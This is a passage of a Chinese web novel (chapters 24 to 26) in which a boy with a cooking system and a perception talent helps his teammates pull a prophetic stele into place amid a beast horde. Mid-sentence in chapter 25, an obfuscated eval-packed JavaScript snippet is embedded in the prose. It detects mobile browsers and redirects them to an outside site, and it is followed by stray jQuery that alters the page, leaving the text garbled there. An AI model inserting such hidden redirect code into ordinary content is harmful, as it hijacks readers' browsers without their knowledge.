“在介绍远征八人那段历史时,她曾说过当时流转下来的一个预言。”诸墨看着旁侧的灾兽,接着说:“传说,第二次剧变会在众灾示寂之时降临费斯拉大陆。” 第二次剧变? 众灾示寂? 陆燃竹和扈可为一愣,两人一个没上过学,一个还没上到那,听到这句话都是一头雾水。 沉尧见他们不懂,又指了指身旁的灾兽群们。 “示寂,就是看似死了其实没死的状态。” “你看,这灾兽群像不像?” 闻言,陆燃竹两人顿时明白了。 扈可为更是难掩震惊:“那这么说,这石碑的出现也是第二次剧变降临的象征?” “那预言有没有说剧变会带来什么啊?” “没有。”诸墨摇了摇头,“预言是根据当时远征八人留下来的古物来链接的,数百年来考古界通过收集散落各地的古物,进而完善预言,也只是得出这么一个剧变会再次降临的结果。” 预言本就是违背天地规则的一种天赋,数百年来都是通过得到只言片语从而拼接推理,目前最新也最完善的成果,据说还是一个月前圣言传奇得出的那则。 “我记得是……” “剧变重临,众灾示寂,地潮涌覆,厄变骤生。” 清冽的声音从前方传来,陆燃竹抬头看向回头的靳洲,俊美男生流畅地念出那则预言,他脸上的金鳞泛着柔光,一双竖瞳平静而深邃。 陆燃竹对上那人的视线,察觉对方的视线在自己脸上停留了一瞬后,又转向了后方。 诸墨:“对,就是这句!” “现在我们看到的一切已经有两点符合了,如果可以的话,我还真不希望剧变会再次降临。” 银发女生脸色凝重,但所有人都知道她的未尽之意。 陆燃竹抿着唇看着潮湿的地面,第一次剧变造成什么样的后果,所有费斯拉大陆人都知道。这可控区随处可见的残骸、遗迹也一一述说着当年那场灾祸。 假若第二次剧变真会到来…… 少年想象不出到时候这片大地又会变成什么样。 沉默伴随着预言这个话题在几人之中蔓延开,陆燃竹低头避过一头象型灾兽的尖牙,他的视线掠过那紧闭的象眼,心底对“示寂”两字的含义忍不住再次琢磨起来。 文盲的少年正欲发问,就听自己耳边突然响起了熟悉的提示音。 【检测到周围存在新鲜的“奥玛象肉”,是否进行食谱关联?】 属于探测功能的提示音一出,顿时把陆燃竹和金勺勺吓了一大跳。 “不对啊,我不是都关闭了探测功能吗?” 美食开拓系统不解道,在进入灾兽群区域的开始,它就及时关闭了探测功能的自动播报,不然那么多灾兽,它和宿主都得被烦死。 金勺勺疑惑地想要再次检查这程序是否故障。 而陆燃竹在这时却皱起了眉头。 不对,少年敏锐察觉到提示音中字眼的差距。 “勺勺,程序说的是‘新鲜的’奥玛象肉,而不是‘可开拓的’奥玛象肉。” 陆燃竹一字一句地说道。 这词语的用法,和以往的不一样。 以之前的尖牙熊和长翼泥蛾为例,探测功能对它们的形容都会带着“可开拓的”形容词,但现在并不是,它用的是“新鲜的”。 这不一样。 金勺勺也反应过来,美食开拓系统比陆燃竹更熟悉食材,它喃喃道。 “新鲜的,以往只会出现在现宰杀的牛羊身上。” “宿主……这奥玛象,不会死了吧?” 像是欣喜系统智能和宿主发现了自己用词的不同,属于程序智能的播报声再度响起。 【检测到周围存在新鲜的“戎鼠肉”,是否进行食谱关联?】 【检测到周围存在新鲜的“嘶哑兔肉”,是否进行食谱关联?】 …… 一连串的播报声让不敢使用天赋的陆燃竹神情顿时变得异常凝重。 他匆忙抬头想提醒前头的靳洲,抬手时却发现男生看向旁侧灾兽群的眼神中已经充满探究之意。 没等他开口,男生已然侧过头来,他先是看了眼少年的眼睛,然后问道:“你发现了什么?” 这句话让少年抿了抿唇,这个人好像总是能发现自己想说些什么。 “这些灾兽中,好像有一些已经死了。” 不敢耽误,陆燃竹立马说道。 闻言,在场除扈可为的三人纷纷都变了脸色。 因逆觉醒流浓度过高而有些昏沉的扈可为疑惑地伸头:“不对啊,它们还在呼吸啊?” 说完这一句,他又想起什么地补充道:“哎,燃竹你可不能再使用天赋了啊。” 担忧的提醒让少年摇头。 而靳洲已然迅速地用幻化的龙爪利落勾出旁侧奥玛象的心脏,那心脏的颜色是暗红色。 这头奥玛象,显然已经死去。 只留一副会虚假呼吸的空壳。 沉尧和诸墨也利落划开周围灾兽的躯体,无一例外,这群静默的灾兽群内,有多头已无生命迹象。 “示寂嘛……” 诸墨的低语声带着凝重的意味。 沉尧也暗骂一声:“该死,这真会进化啊!” 三人怕引起担忧并没有细说,其实在圣言传奇得出预言之后整个学界都围绕这则预言进行过解读,在众说纷纭之中,一个占据主流的观点便是—— 假若第二次剧变真的到来,或许会带来灾兽进化的契机。 三人的沉默加凝重,陆燃竹后知后觉“众灾示寂”这几个字,并不是那么简单。 而进化一词,更是昭示这灾兽群围聚在这的目的。 “进化的话?依照这里的规模,它们会进化到哪个地步?” 少年疑惑发问。 靳洲仰头看着头顶淡红色的结界:“如果这灾兽群是聚在这里谋求进化的机会,那等级高的势必要比等级低的灾兽掠夺更多的资源。” 他们忽略了一个细节。 这里的高浓度逆觉醒流或许不只是灾兽群聚集导致的,而是这里本就,拥有高浓度的逆觉醒流。 这对灾兽来说,便是修炼圣地。 它们被这吸引,围聚在这里,又因其他的因素而不彼此争斗,反倒融洽相处。 他们无法推测这里的能量源与当初可控区752的不明物到底是什么联系,但也许,不明物屏蔽灾兽的作用依旧起效。 他们不能排除外界暂且还没发现这里的异常这一点。 “最低领主级,最高……风暴级。” 密集的金鳞从男生颈部蔓延到脸侧,靳洲周身气浪涌动,他眼神平静,在沉尧有些惊恐的目光中淡淡开口道出这样一个事实。 “不是……你是要……” 沉尧看着他火力全开的样子瞪大了双眼,没等他完整说出一句话,身后的诸墨又轻笑一声。 “那可真棘手。” 银发女生双手用力一振,银色的结晶壁立刻如同铠甲般包裹着整个手臂。 “不对,你们!” 沉尧不断前后转头看着自己两名队友,最后你们了个半天,焦急地说出了一句。 “不能太过冲动!” 然而没有人理他。 一行五个人,两个天才跃跃欲试,两个小弟一脸懵懂,只留优雅的自己着急地像个老妈子。 眼看着靳洲已经飞到半空观察灾兽群里的等级高的存在,话多一点的诸墨轻拍沉尧的肩膀。 “既然这灾兽群里有些已成为空壳,那就没有小心翼翼的必要。” “小陆和小扈就交给你来保护,带他们到那里去,这个是重任。” 从意识到此地与第二次剧变有关的那一刻,消灭等级高的灾兽便成了首要的事情。 反正,这与找朝天龟并不是冲突的事情。 说完,她也掏出一个仪器,一溜烟钻进灾兽群内消失不见。 沉尧满脸震惊,他匆匆抬头,就听见同样的嘱咐从头顶的靳洲口里说出。 “沉尧,照顾好他们。” 说完又一个人翻腾着气浪往远处飞去。 见状,沉尧嘴巴张合了个半天,最后仰天长喊道:“我真服了你们两个!” 天才天才,天才都这么冲动吗! 他难道不知道放着灾兽进化危害很大?但就不能商量商量啊! 半长发男生气急败坏地来回踱步,转头就对上两双无辜的大眼睛。 一双昏昏欲睡,一双冷静清透。 无辜得惹人怜爱。 对此,沉尧也只能叹口气,他上前背起自家学弟,又冲卷发少年招招手。 “走吧,我带你们去核心那里。” 五人队伍眨眼间分成了三波,陆燃竹跟在沉尧的身后,怀里抱着阿灰。 前头的沉尧还在碎碎念,他叮嘱着两人千万别学靳洲和诸墨。 “他们虽然有道理,但遇事前凡是都是需要思考的。” “千万不可学他们冲动行事。” “特别是小陆,你可千万不能用天赋了。” “我不会的。” 陆燃竹摇头,先前他就因想要协助找朝天龟被众人勒令禁止。现在越深入这里,他也不敢再用天赋,这里的信息量已经到达一个他目前无法触及的地步,他还不想为自己的眼睛花费一大笔治疗费。 “那就好。” 沉尧的话匣子彻底打开了,似乎是为了安抚自己,又似乎为了安抚比自己年纪小的陆燃竹和扈可为,他的话题一个接一个,配着靳洲和诸墨毫不收敛的打斗声,意外营造出轻松的氛围。 扈可为趴在沉尧背上,似乎不需要消耗体力脑子清醒了一些,他开始问起自己在意的问题。 拉着好友和学长开始讨论起预言起来。 “学长,现在这里是不是如预言所说的啊?” “现在众灾示寂有了,厄变骤生的话,石碑算一个?” 沉尧也跟着分析,“那地潮涌覆大概就是震荡波了。” “欸,那还得庆幸这东西距离越远越厉害,要是那震荡波反着来,那可就完蛋了我们。” 半长发男生打着哈哈, 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他没法形容那种感觉,除去眼睛,他的皮肤乃至其余五感都在隐隐刺痛,似乎外界有什么东西想要强行突破这□□的阻隔,冲向自己的大脑。 嘈杂的感觉一直在脑里晃悠。 不是非常疼,但就是……引得人很是烦躁。 卷发少年深吸一口气,低头时正巧对上阿灰那双关心的豆豆眼。见状,陆燃竹笑了笑,他抬手顺着阿灰的绒毛,把上面沾染的灰尘一点点扫去。 轻柔的动作一下接一下,让难受的觉醒兽不自觉发出舒服的呼吸声。 而当陆燃竹还想调整下抱着阿灰的姿势时,一个陌生的声音顿时在耳边响起。 “剧变……重临,众灾……” “绳……祖武……夺……” 仿佛诵念经文一般,零星的几个音节反复在陆燃竹耳边回响,这一异常让少年困惑地抬头看向前面两人。 可两人聊天的内容根本不是预言。似有所感般,陆燃竹下意识看向正前方,明明没有使用眼睛的感知天赋,他却感觉那里有人。 “勺勺,你听见了吗?” “什么?” 金勺勺还在捣鼓探测功能系统,这玩意关闭后好像有点不起作用了。 “我没听见什么啊?” 美食开拓系统环顾四周,甚至打开面板查看,可都没有听见什么奇怪的声音。 “宿主,你听见了什么?” 听见了什么? 陆燃竹晃了晃脑袋,可风声之下那阵阵诵念声依旧没有消失。 “厄变……地潮……骤生……” “绳……新机……平衡……” 不同人的声音在默念着预言,或高或低,仿佛从高空之上,又似从地底而来。陆燃竹被这越来越响的诵念声扰得头疼欲裂,他紧皱着眉头睁开眼,恍惚间,隐隐又看到了远征八人的时空痕迹。 他们围在一个碑文前,手捧烛火,低头诵念。 昏暗的烛光照在他们脸上,映得那血迹和脏污就像神圣的图腾。 莫名地,少年也不由得跟着诵读。 “剧变重临,众灾示寂,厄变骤生,地潮涌覆……” “燃竹你在说什么?” 和沉尧说这话的扈可为立刻发现少年不对劲的神态,他侧耳仔细听,却只听到少年在诵读预言。 “你在念预言吗?” 这般对话也引起沉尧的关注,半长发男生转过身来,他看着少年恍惚的神色,顿感不妙,瞬间放下背上的扈可为。 他几步上前,握着少年单薄的肩膀。 “小陆!哪里难受吗?” 可陆燃竹没有回应,少年怔愣地抬起头,目光逐渐落在了几人的背后,落在那距离十米开外的硕大深坑上。 不知不觉,他们也已经走到了核心的区域。 卷发少年看着冲天的蓝色气浪,体内的感知天赋彻底突破了主人意识的操控,开始被动给大脑反馈信息。 陆燃竹在外部焦急的询问声再次续下下半则的预言。 “绳其祖武,争夺恩泽,觉醒新机,平衡将倾……” 他一字一句,迎着那八人望过来的欣慰目光,看着那越来越亮的通天石碑,清晰又准确地把跨越时空的碑文重现于现实。 随着少年逐渐沙哑的嗓音,古朴又玄妙的图腾从眼底迸发,宛若血液流淌般沿着皮肤、经络蔓延到少年白皙的皮肤。 古老又神圣,又骇人而悚然。 他这突然的变化让沉尧两人慌了神。扈可为更是手忙脚乱,想碰却又怕贸然惊扰给好友造成什么损害。 沉尧焦急:“他这是魔怔了?说的是什么啊?” 扈可为结结巴巴:“什么争夺恩泽,觉醒什么新机。” “争夺恩泽!?这破地方有什么恩泽啊……” 沉尧一筹莫展,他看着头顶的通天石碑,“难不成说的是这石碑,可我也没看出啥啊……” “况且这东西这么大,怎么抢!?” 正当沉尧和扈可为不知该如何是好时,头顶硕大的通天石碑骤然发出一阵带着古韵的震动声。 霎时间,气浪从石坑溢出,顿起的大风裹着沙尘一下淹没了坑上三人。 突然爆发的混乱,沉尧连忙一手抓着一个,驱动天赋创造出封印护罩阻挡了风沙。他惊愕地抬头看着光亮大作的通天石碑。只见那灰底之上,原本翠绿色的图腾回缩变化,伴随着阵阵地鸣幻化成古朴的文字。 “剧变重临,众灾示寂,地潮涌覆,厄变骤生。” “绳其祖武,争夺恩泽,觉醒新机,平衡将倾。” 少年刚刚所诵念的预言,此刻正清晰地展露在石碑之上。 25. 第 25 章 第25章 轰—— 层层气浪从半空处的石碑往外荡开。带着莫名的威压,压得底下的生物完全抬不起头来。 “这……这碑文是活了吗?” 扈可为不由得低喃道。 “活了?你倒不如说它醒了。” 沉尧下意识吐槽一句,随后又觉得不对,“不是,现在重点是,为何小陆说出的话会出现在碑文上?” “那句话又是什么意思?” 扈可为却突然大叫一声。 “不是,最重要的是燃竹,他现在是什么状况!?” “哦对对,这是个要紧事。” 两人连忙接着察看少年的情况,只见刚刚还愣愣的少年突然颤抖了一下,在两人震惊的目光猛地吐了一口血。 扈可为吓得脸色发白,他顾不得上其他,连忙扶住陆燃竹。 “燃竹没事吧……这咋回事啊……” “可为你等等啊,你给小陆用这个。” 沉尧也有点手忙脚乱,他从包里翻出个治疗仪就想给人戴上。 而少年咳嗽一声,他像是清醒了,又像是半梦半醒。 在两人担忧的目光中,他抓住扈可为的手,颤着声道:“可为……震荡波,要来了……” 震荡波!? 闻言,两人匆忙回头,就见动荡的灾兽群中,无数灾兽像是突然自爆般一只只化作的血雾。就跟他们刚刚还在外围的时候一模一样。 “我去!” 见此,沉尧也顾不上治疗仪了。他低喝一声,繁复的封印阵法在三人脚边展开,瞬间形成一个半圆形的护罩。 咚—— 可折返回来的震荡波要比之前的攻击力更强,强烈的冲击力竟把整个半圆形护罩震退了两米。 “靠!” “这么倒霉的吗!?” 沉尧稳住脚步,他没想到之前无心的话竟然一时成真了。这震荡波居然真到里面来,而且还是加强版! “学长,我来帮你!” 见震荡波的威力更甚,扈可为一把把治疗仪套在好友脖子上。随后高举手里的防护器,手心觉醒力源源不断地涌出。 他脚边的阿灰也跟着仰天长啸,灰鸡的身型瞬间变大,连同召唤者的防护罩一起在封印护罩外形成二层防护。 听着扈可为中气十足的声音,沉尧后知后觉:“你好了?” “好了!不知道为啥,我站在这石坑旁就没那么呼吸困难了。” 或许他们已踏入了陆燃竹先前所说的那个觉醒力充沛的区域,扈可为只觉体内有源源不断的力量,原本的疲惫完全消失了。 有了扈可为和阿灰的助力,两层防护罩看起来严实了一点。可折返回来的震荡波,其威力还在加强。无形的震荡波从外围回到石碑处,又从石碑处扩散到外围。 这让距离石碑最近的沉尧三人一鸡遭受更高频的攻击。 与此同时,祸不单行,石碑的异变就像是连锁反应的源头。 在沉尧和扈可为瞪大的双眼中,不断发出低鸣的石碑开始晃动,其上的碑文忽明忽暗,最后竟像失去重力般缓缓下沉。 这一变动,直接唤醒了刚刚还沉寂着的灾兽群。 “吼——” 只听声声怒吼,那些刚刚宛若石像的灾兽群双眼猩红,齐齐仰天长啸,阵阵兽鸣响彻天际,霎时间整个石碑下地动山摇。 兽吼、翅鸣。 整个大地都在震动。 骤然的变化,让沉尧和扈可为应接不暇,他们一声声“我去”接连不断,却始终牢牢撑着头顶的防护罩。 从半空看,那淡蓝色的防护罩渺小如沙尘。 而在他们背后,被护住的陆燃竹双手撑着地面,血液从他脸上滴落,正一点点浸湿双手间的土壤。 他脸上的神情再次回到了迷茫的状态,刚刚片刻的清醒仿佛昙花一现,只有那深陷泥土中的苍白指尖和颤抖的脊背,在昭示少年努力挣扎的事实。 【嘀——蓝级料理“香辣蹦蹦蛙腿”的体力恢复效果已失效!】 【蓝级料理“岩烧尖牙熊排”的振奋加成效果已失效!】 【绿级料理“爆爆炸菇”的镇定加成效果已失效!】 …… 在少年看不见的界面里,金勺勺全神贯注地盯着左侧一个个黯淡下去的词条,低阶食材和料理带来的效果杯水车薪,原先本该锦上添花的作用此刻只能勉强够得上宿主逐渐衰败下去的健康度。 不太妙。 美食开拓系统计算着其他词条的冷却时间,勺身上是陆燃竹没见过的冷静。 它很清楚,自家宿主是非常明显的天赋过载。 因为等级,此间的信息量已远远超过宿主能控制的范围,现在的少年就如信息汪洋里的一叶扁舟,听不见,看不见,感知全然混乱。 是最难的情况。 【警告——宿主陆燃竹健康度正在急速下降!】 “我知道!” 【警告——数据混乱!探测功能即将故障!】 “我知道!” 【警告——检测到不明数据流……宿主异常……反馈引发……请允许……进行系统自……】 鲜红的弹窗一个接一个弹出,连续不断,几乎占据金勺勺的视野。不帮忙老添乱,金勺勺都快要被这内置系统程序语音给气得半死! 它不知道宿主现在很危险吗!弹那么多弹窗干什么! 美食开拓系统又急又气,给宿主续上效果的动作却有条不紊。可内置程序可分辨不了什么情绪和时机,也识别不了金勺勺此刻的心急如焚,仍旧义无反顾地,执行它原本的程序。 【警告——宿主和系统的融洽度发生剧烈波动!系统965748号,建议立即征求宿主陆燃竹的同意,进行系统自检!及时修复漏洞!】 “你好烦!” 金勺勺受不了地大吼一声,它气愤地取消弹窗:“你这个愚蠢的程序!也不看看现在宿主能给予准许吗!我们现在最该做的,是保证宿主的安全!” “你这个垃圾!” 内置程序:…… 【系统965748号,请不要进行人格侮辱!】 啊呸!你有人格吗?就侮辱。 金勺勺与内置程序的争吵声,混杂在无数的低喃声中传进陆燃竹的感知里。双手撑着地面的卷发少年无声地抿了抿唇,尝试过一次靠意志找回现实与幻觉的区别认知,他正竭力地一遍遍重复刚刚那种感觉。 当金勺勺和内置程序的些许杂音被分辨出来时,他险些以为是错觉。 “勺勺?” 他尝试呼唤,嘴唇颤抖时说出的声音却比蚊鸣还要小。 【探测故障……系统自检……】 金勺勺和内置程序的争吵还在继续,在脑里极近的对话,尽管被感知隔绝的对话内容简短又细碎,却意外让陆燃竹从无尽的混乱和痛苦中抽出注意力。这让他敏锐地察觉到能够再次挣脱信息海的机会。 屏气凝神,极快反应过来的陆燃竹几乎把全部心神都投注在金勺勺和内置程序的争吵声上。 从融洽度,到探测功能故障,再到系统自检…… 少年从细碎的对话内容中拼凑出两个非人生物的争吵内容,他撑在地面上的双手无声地攥紧。 终于—— 当金勺勺和内置程序的争吵内容已经进展到系统人格尊严法的时候,陆燃竹眼前乱七八糟的颜色漩涡也在霎时间褪去。 像是从深水中挣扎出来,卷发少年猛然瞪大双眼,他伏在地上,发出骇人的咳嗽声。皮肤上的图腾泛起金红色的光晕,沿着少年苍白的肌肤纹理,不断往衣物遮挡之下延伸。 “咳咳!” 顶着骇人又神圣的图腾,少年突然低低地笑了一声。 骤然的咳嗽声和笑声,让扈可为两人和金勺勺猛地回过神来。 “宿主!” “燃竹!” “你没事吧?” 而陆燃竹只是摆摆手,他没有说话,可颤抖着站起来时,那瘦弱的脊背却宛若一根不屈的孤竹。 见他直视石碑的眼底再次泛起荧光,扈可为和金勺勺刚想劝阻,骤变横生。 彻底苏醒的灾兽群突然开始转头攻击起通天石碑来。 腹背受敌,沉尧和扈可为支撑起来的防护罩忽然破开了一角。眼瞧着防护罩即将完全破碎,两道身影骤然从灾兽群中冲出。 龙影随行,银光瞬闪。 两声蓄力的沉喝应声而来,赶在封印护罩破碎之前分担了压力。 风声猎猎,血腥味铺面而来的同时,差点破碎的防护罩外又多了厚实的两层。 沉尧笑骂道:“你们真狼狈。” 半长发男生脖颈通红,而靳洲和诸墨身上也同样挂彩。诸墨腰部破了个洞,她哈哈大笑,艳丽的脸上张扬至极。 “杀了一头半步领主级的灾兽,不亏。” 另一边俊美男生身上的金鳞已遍布半身,他血染半身,兴奋的战意透过血气让那张冷峻的脸有了不一样的生动。 而在他来时的方向,属于两头领主级灾兽的鲜血在空中形成了血雨,淅淅沥沥地,再度淋湿了那硕大的两具残尸。 当靳洲撑起龙鳞罩后,侧身时却对上了陆燃竹有些空洞的双眼。 他难得愣了神。 少年的那双紫眸在此刻焕发出从未有过的光芒,配着那蜿蜒到颈部的图腾,竟然多了一分不可触碰的神性。 “陆燃竹?” 靳洲担忧的手已伸到少年眼前。而比他更快的,是少年沙哑的声音。 “灾兽的目的是毁掉这石碑。” 以微薄的力量主动深入信息海,彻底放弃以往谨慎的卷发少年双眼猩红,他眼前的视野全然模糊,又颤着声继续道:“他们说,不可以。” 他们? 靳洲一愣,随后很快反应过来少年所说的是谁。 “你又看到远征八人的痕迹?” 男生快速问道。他抬头看了一眼半空中缓缓下沉的石碑,在注意到其上新显现的碑文后瞳孔骤然一缩。 “绳其祖武,争夺恩泽,觉醒新机,平衡将倾。” 寥寥几个字,要说上一条预言说的是灾兽,那么这一条说的便是觉醒智慧种族。 绳其祖武,远征八人。 争夺恩泽,灾兽进化和充沛的觉醒力。 靳洲立马结合信息解读出预言的第一层含义。假若他们一路看过来的,属于远征八人的时空痕迹就是当年探索剧变源头的先辈们留下来的指引,那这石碑的重要性…… “不可以……那我们怎么守?” 沉尧精心打理的头发再次变成一团乱糟糟的海草,“还有这么多灾兽,就算靳洲和诸墨你们打死了等级高的三只,我们也应付不过来啊!” 诸墨:“的确。” 尽管可控区813和可控区752一样是低级可控区,但其面积可要比当初752大上太多。数量惊人的灾兽群汇聚在一起,再加上从异变以来他们所不知道的进化,现在他们面对的可不是低等级的灾兽群。 周围的几人也看着外头那乌泱泱一大片朝他们进军的灾兽群一脸凝重。他们都没有丝毫怀疑少年话的可行度,讨论的话题直接进展到下一步的行动。 而就在他们讨论的期间,灾兽群对石碑的攻击没有歇止。 轰鸣不断,灾兽群中已有飞行类的灾兽采取自杀式的冲击开始撞击石碑,接连几声巨响,那灰扑扑的石碑上又多了几朵血泥。 血雾之下,那碑文似乎也黯淡了几分。 碑文的黯淡,也让靳洲等人察觉到周边刚刚还往体内灌的觉醒力同样出现了卡顿。 碑文上的一切都在顷刻间上演。 看着越来越弱的碑文,陆燃竹心下不妙的预感越来越重。连续不断的被动感知,让少年明白。 远征八人不断的时空痕迹,他们被逼着往这石碑处中,这一切都不是意外。 而是极具目的性的指引。 指引他们来到这石碑处,见证碑文,保护石碑。 但该怎么办?沉尧说的对,石碑的目标太大了。 单靠他们五个人,根本护不住这石碑。 刹那间,陆燃竹的思绪不断翻涌,时间仿佛在这一刻停止了。只有少年自己一个人的思考空间,点点细节一一涌现又消失。 恍惚间,他听见扈可为犹豫的一句。 “可这石碑为何在往下掉?” 这一句犹如灵光一闪,瞬间点醒了陆燃竹,卷发少年竭力往石坑和通天石碑之间的区域看去。 只见模糊的视野里,那冲天气浪之中似乎多了一丝若隐若现的蓝线。 发现的一瞬,陆燃竹的脑袋仿佛被巨锤击中一般,眼前的画面骤然一黑。 围在他身边的几人只见原本还在打颤的陆燃竹突然不动了,他身上的图腾如潮水褪去一般飞快消失,白皙皮肤上只余骇人的血网。 那双漂亮的眼睛彻底失去了光彩。 随后,他们听到少年极为冷静的声音:“那就拉下来,加快石碑归位的进程。” “好。” 紧盯着人的靳洲没有半刻犹豫,他看着那双黯淡下去的紫宝石,脸上密密麻麻的金麟似乎又多了几分。 两人一人说一人应,沉尧三人在愣神片刻才跟上话题。 “拉可以,但怎么拉?” 闻言,靳洲的目光落在了诸墨身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338402|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他目的明确地看着女生手上的银手环。 怎么拉? 当然五花大绑地拉。 接下来的一切发生得很快,靳洲等人完全放弃了对石碑的防守。在灾兽群自杀式袭击的过程中,石碑上的碑文越来越弱,可其上也多了几圈银链。 在靳洲的安排下,诸墨那可随意变化的武器成了拉石碑行动中的重要工具。待一切都准备就绪,扈可为守在陆燃竹身边看着眼前的一切,微微讶然。 只见混乱的半空中,重要的石碑被五花大绑,他那尊敬的学长学姐们各站了一个方向,他手里也被分配到银链的一端。 阿灰也叼着其中一角,见状不解地抬头看着自己的召唤者:“咯咯?” 阿灰也得拉吗? 扈可为:“拉,你主力。” 召唤者给自家觉醒兽竖了个大拇指。 而被安置在一旁,脖子间又多了一个防护罩的陆燃竹也从细碎的声响中察觉到靳洲几人的安排。 在龙吟响动,银链绷紧之时,少年摸索着前进。 他走到扈可为和阿灰身旁,在一人一鸡担忧的劝阻声中掏出一样东西。 嗡—— 一声嗡鸣后,缓缓下沉的石碑骤然晃动,在几人一鸡的努力下,硕大的石碑开始了轻微加速下降的趋势。 这一变化让憋红脸的沉尧大喜,尤其在发现自己这个方向的石碑被拉动的迹象竟然不逊色于靳洲时更是震惊地瞪大双眼。 我去,他这么牛的吗! 没等他向诸墨炫耀,就听下方自家学弟处突然传出一声响亮的呐喊。 “你真棒!阿灰!” 他转头一看。 只见自家学弟的觉醒兽变大了体型,银链被缠绕到鸡脖子上,本该好好待着的卷发少年源源不断地往那张大的鸡嘴上塞东西。 而自己学弟像是被带飞的小弟,虽然拉着银链,但力气似乎都放在了加油打气上了。 这小子! 沉尧刚想骂,手里的银链又骤然一动,男生后知后觉,他这头出的力好像也不是自己身上的。 …… 本想炫耀的沉尧果断选择了沉默。 银链晃动,石碑在龙吟声中加速下沉。 而这一幕也引起灾兽群的暴动,飞行类灾兽的自杀式攻击一下增多。只是这回,灾兽化作血泥的场面没等再次上演。 守在几个方向的靳洲他们在拽动石碑的同时也将解决碍事的灾兽。靳洲金龙尾一甩,大片飞行灾兽被弹飞,沉尧的封印结界更是成为防护的主力,直接阻挡大部分灾兽。 诸墨更是奋力一拳击飞一头两头鹰,她彻底打出了血性,打一只骂一声:“吃了饭就摔碗,老娘还没吃呢!” 伴随着石碑和坑底间距离的拉近,靳洲几人也感受到了此间觉醒力的暴涨。 石碑的下沉,灾兽的暴动,觉醒力的增长。 少年费劲全部窥探到的一角,“争夺恩泽”正在分秒之中化作了事实。 眼瞧着石碑往下沉的速度越来越快,此间两方力量的失衡状态开始扭转,觉醒力的暴涨甚至逼退了一些低等级灾兽。 正如觉醒者不能在逆觉醒流中生存一样,灾兽同样也不适应被视为甘霖的觉醒力。 大规模灾兽的后退,让靳洲几人猛然明白少年所窥探到“生路”的含义。 而就当石碑即将在几人一鸡的努力下顺利归位时,灾兽群里突然爆发出一股冲天的红焰。 红焰滔天,从灾兽群正中央直到头顶的封锁结界,不过一息,那结界的颜色顿时又深了一个层次,一股极具压迫感的威压也顷刻如狂风暴雨般往他们冲击而来。 铮—— 霎那间像是耳鸣。 陆燃竹和扈可为直接身体一软,保护两人的防护罩骤然破碎,阿灰回身张大翅膀护住两人。诸墨和沉尧也闷哼一声,弯下了腰。 靳洲离陆燃竹两人最近,他回撤撑起龙鳞罩,猛然抬头朝威压处看去。 只见在灾兽群中央,他们找不到的那头朝天龟正默默站立在前行的灾兽群之中,那双藏在坚岩之下的眼睛直直望着通天石碑的方向,眸底竟开始带着一丝平常灾兽所没有的理性。 “风暴级灾兽具备初步的理性思考,它们的行动逻辑不再拘束于简单的捕食和躲避天敌,而是学会利用其他因素来维持自己的生存,获取自己需要的资源。” “这一点,正是它们最危险的地方,也是我们最需要警惕的地方。” 靳洲没想到昔日的课堂知识会以如此鲜明的形式呈现在眼前。 “亲娘勒……我今天真是长见识了,居然还真让我见到一只活着的风暴级。” 高空之中,诸墨挂在脖子上的检测器嘀嘀嘀发出警告,上面显示的数值,早已超过了领主级灾兽的范畴。 她身旁的沉尧闻言更是直接沉默了。 风暴级!那不是未知区才会出现的物种吗! 啊啊啊啊!这泗黑崖究竟是怎么一回事! 危机再临,爆发出风暴级威压的朝天龟一出现,整个灾兽群的实力再度提升一个层次,大批灾兽径直踏入它们刚刚还畏惧的觉醒力区域。 接连不断的攻击,甚至让原先被扭转的平衡再次发生变化。 与此同时,伴随着朝天龟仰天一声怒吼,它龟背上的红焰开始凝聚,可怕的能量威压让此间陷入完全的寂静。 沉尧和诸墨也一时停下了拉动石碑的动作。就连靳洲,也在保护和继续拉动石碑之间犹豫了一秒。 时间仿佛在此刻停止。 在一片寂静中,本该昏迷的卷发少年成了第一个先动的人。 卷发少年满脸煞白,他浑身抖得不像话却还紧紧拉着阿灰脖子上的银链。当银链被拽动的响声在靳洲几人的耳边响起,三人猛然回神。 他们几乎一致地忽视了那仍在聚集的红焰。 使出最后的力气拽动石碑。 当石碑彻底归位嗡鸣骤响的那一刻,冲天的红焰也冲着石碑方向袭来。 千钧一发之际,一声爆鸣突然在几人耳边爆开。 耀眼的金光让此地宛若白昼。 沉尧几人握在手心的保命手段还未启动。等强光褪去,他们才发现眼前出现了成百上千枚硕大的金属天钉。 朝天龟的结界和攻击如同消散的烟火,徒留刺鼻的味道。 而石碑归位,大地复苏。 觉醒的光柱照亮夜幕之下的泗黑崖,以昭阳之姿点燃联盟的薪火。 “绳其祖武,争夺恩泽,觉醒新机,平衡将倾。” 预言再一次在陆燃竹耳边奏响,少年死死攥紧银链的手猛地一松。 强撑的身体发出了最后的预警,他彻底失去了意识。 26. 第 26 章 第26章 光柱冲天,那一夜从西部亮起的明灯成了全联盟议论的话题。 无数大人物纷纷赶往泗黑崖,这座平平无奇的边境城市,彻底成为漩涡的中心。正当觉醒者们都在猜测昨夜都发生了什么时,焦点所在的可控区813却被彻底封锁。 只余那比稳定中枢还要耀眼的光柱,吸引所有人的好奇。 再一次抓住一个试图偷窥的觉醒者,联盟秩序管理队的成员也忍不住看向自己的队长。 “队长,那光柱究竟是什么啊?” 他看向后方被无形屏障所护住的可控区813,低声问道。 屏蔽罩还加大批联盟秩序管理队的人,听说里面还有觉醒传奇,这等架势他从未听过。 “不该问的别问。” 被称为队长的男人厉声训斥道,他哪里知道那光柱是什么,他只知道,这等架势,就算里面真有什么也不是他们能过问的。 与此同时,屏蔽罩内。 联盟分析所、联盟历史研究所、黎明检测站……各式各样戴着单位袖标的工作人员正围在石碑周围。 他们有的双手泛着光芒,有的拿着奇怪的仪器,对待石碑的态度庄重得像是什么易碎品。 离石碑最近的地方,申定刚和一旁的工作人员说完话,就听高空之处传来劝阻的声音。 “腾老您小心点。” 他往上看,就见高空处被觉醒者临时架设的平台上,一位银发爆炸头的老妪正站在边缘。 